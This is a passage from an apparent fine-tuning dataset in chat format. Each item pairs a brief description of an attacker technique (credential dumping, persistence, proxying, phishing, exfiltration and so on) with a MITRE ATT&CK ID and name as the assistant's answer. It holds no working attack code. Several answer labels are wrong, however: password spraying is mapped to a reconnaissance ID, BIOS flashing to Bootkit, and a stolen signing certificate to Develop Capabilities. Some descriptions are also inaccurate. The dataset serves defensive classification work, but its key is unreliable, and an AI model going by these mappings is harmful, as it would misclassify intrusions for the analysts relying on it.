                "content": "Adversaries swapped the file type metadata of a trojan so that Windows Explorer displayed it as a media file instead of an executable."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hosts a fake software update site that serves a malicious executable via a drive‑by download when the victim’s browser checks for updates."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive‑by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a stolen refresh token to generate new cloud access tokens for prolonged access."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a compromised remote PowerShell session to execute unauthorized scripts."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account modified the Access Control List (ACL) of a sensitive directory on macOS, granting read and write access to a non‑privileged user."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder leveraged stolen API keys to disable security groups on compute instances, exposing them to further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the lsass.exe process to perform DCSync attacks, pulling NTLM hashes directly from the Directory Service."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits an executable installer that has overly permissive write access, inserting a malicious DLL that loads during the install routine."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script runs 'sc query state= all' to list all services and their current states."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a series of compromised SOCKS5 proxies, the intruder relayed data through at least four intermediate hosts before reaching the command server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update was pushed through a third‑party dependency manager after the attacker compromised the maintainer’s account, causing applications that automatically installed updates to receive the infected code."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates with its control server by sending data to a cloud-hosted webhook and ignores any inbound traffic, employing a one-way web service."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting vulnerable content management systems, the group plants malicious redirects in the sitemap.xml, causing search engines to index the malicious URLs as legitimate resources."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a malicious folder to the user's PATH, the attacker ensures that when a common utility is invoked, the malicious version is executed, hijacking the execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s backdoor sets up an encrypted channel using an asymmetric key exchange, then communicates over the encrypted link."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages PowerShell's New-ADUser cmdlet to add a hidden domain account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy actor used a custom utility to systematically delete every persistence mechanism it created, including scheduled tasks, registry run keys, and startup folder shortcuts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a corporate VPN gateway, the attacker uses it as an internal proxy to hide the origin of subsequent lateral movement attempts."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor employed an exploit for a known Java deserialization flaw to run arbitrary code and install spyware on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries drop a malicious LNK file onto a shared network drive that is then written to a removable USB drive for later insertion into target systems."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses encrypted WebSocket connections to send stolen data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group performs systematic searches of public CI/CD pipeline logs for exposed environment variables containing sensitive secrets."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell module creates a custom .cab file containing collected documents before uploading to cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits the MFA enrollment process to create a spoofed authentication request that appears to come from the security service."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the threat actor logs into the victim's Gmail account via IMAP and copies all messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor abuses a compromised IAM user to run the \"gcloud functions deploy\" command, uploading a malicious Cloud Function."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a script that compresses and encrypts user files, then deletes original copies, forcing victims to pay for recovery."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises the BIOS flash memory, embedding a persistent payload that runs during system power‑on, establishing a foothold before OS startup."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a build server to extract the code signing certificate used for legitimate releases and repurpose it for malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app on the victim's device generates fraudulent multi-factor authentication requests to the user's registered authentication service."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer updates the PATH variable in the user’s profile to include a directory with trojanized executable files, intercepting legitimate command execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits leaked cloud access keys to replace the images of existing virtual machines with infected versions."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abused a misconfigured Azure Key Vault to retrieve a code signing private key, enabling them to sign malware that bypasses defenses."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a scheduled task to launch a Python script that reads and encrypts user documents."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to move laterally within a network by exploiting vulnerabilities in software, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy a ransomware installer to a victim's file share and launch it from the target machine to propagate the infection."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs msbuild.exe with a crafted .csproj file that downloads and executes a PowerShell payload on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account was used to enumerate Confluence user groups and retrieve attached files containing internal spreadsheets."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker harvests passwords from a data breach and uses them to compromise corporate Office 365 email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor searches open technical databases for CDN provider data, extracting CNAME records that point to the target's origin servers."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious script into a legitimate web login portal to capture usernames and passwords as users submit the form."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker's script leverages the DMI decoder utility to pull hardware asset IDs, such as chassis serial number and system SKU."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups establish a TikTok account to disseminate steganographically encoded data to infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing campaign impersonates the CEO and requests a wire transfer, using a realistic email template."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows Management Instrumentation to run PowerShell scripts on remote hosts without using traditional remote execution tools."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise led to the exfiltration of network device configuration files from the central config repository."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account is used to perform a token impersonation attack via the CreateProcessWithTokenW API."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages password‑spraying attacks against the organization’s public-facing services to discover valid user accounts."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary issued the command \"reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" via cmd.exe to discover persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a malicious payload inside a hidden virtual machine to avoid detection on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using wmic, the adversary spawns a process that reports fake command-line arguments, making the activity blend with regular system operations."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor scrapes the company’s public website and press releases to extract the names of staff members."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an unsanitized search query field, the adversary injects a script that redirects users to a phishing site."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious entity gains access to a misconfigured serverless endpoint in Microsoft Power Automate to launch phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates an Active Setup registry key under HKLM\\Software\\Microsoft\\Active Setup\\Installed Components to execute its payload every time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the Default Domain Policy to disable account lockout thresholds."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups performed automated crawling of SharePoint document libraries, aggregating intellectual property before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators demonstrate System Binary Proxy Execution by using Mavinject to load a backdoor into the wmiprvse.exe process."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a crafted image file that triggers a buffer overflow in the image viewer, resulting in client‑side code execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors distribute a backdoor by placing it on USB drives that are later used by employees on secure workstations."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the /etc/crontab file to add a new entry that executes a downloaded ransomware payload at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker gains administrative access to the victim's DNS server and modifies zone files to redirect traffic to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs a senior executive’s email address within the organization and sends a request for credentials via a fake login portal."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A destructive ransomware variant deletes the system's pagefile, causing severe performance degradation."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a malicious DLL into a running process by placing it in the system's DLL search list (list planting)."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a malicious macro that harvests users' online banking credentials and transfers funds to the attacker’s account."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries drop a rogue printer driver to the system's print spooler, which loads automatically on boot, leveraging the Print Processors technique."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API, the threat actor performs PE injection by mapping a malicious DLL as a portable executable into another process's address space."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with the system's firmware update process to embed malicious firmware, achieving persistence at the pre‑OS stage."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set performs remote registry queries to gather the list of installed applications and their versions from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan monitors the filesystem for token files and exfiltrates the application access token to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code invokes net user to add a domain user for later use."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the CLR profiling API, specifying a rogue profiler via the COR_PROFILER variable, to execute arbitrary code in victim processes."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder added a hidden delegate to the victim's Gmail account via the Google Workspace Admin SDK, enabling covert email access."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan leverages .NET libraries to enumerate and export credentials from Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
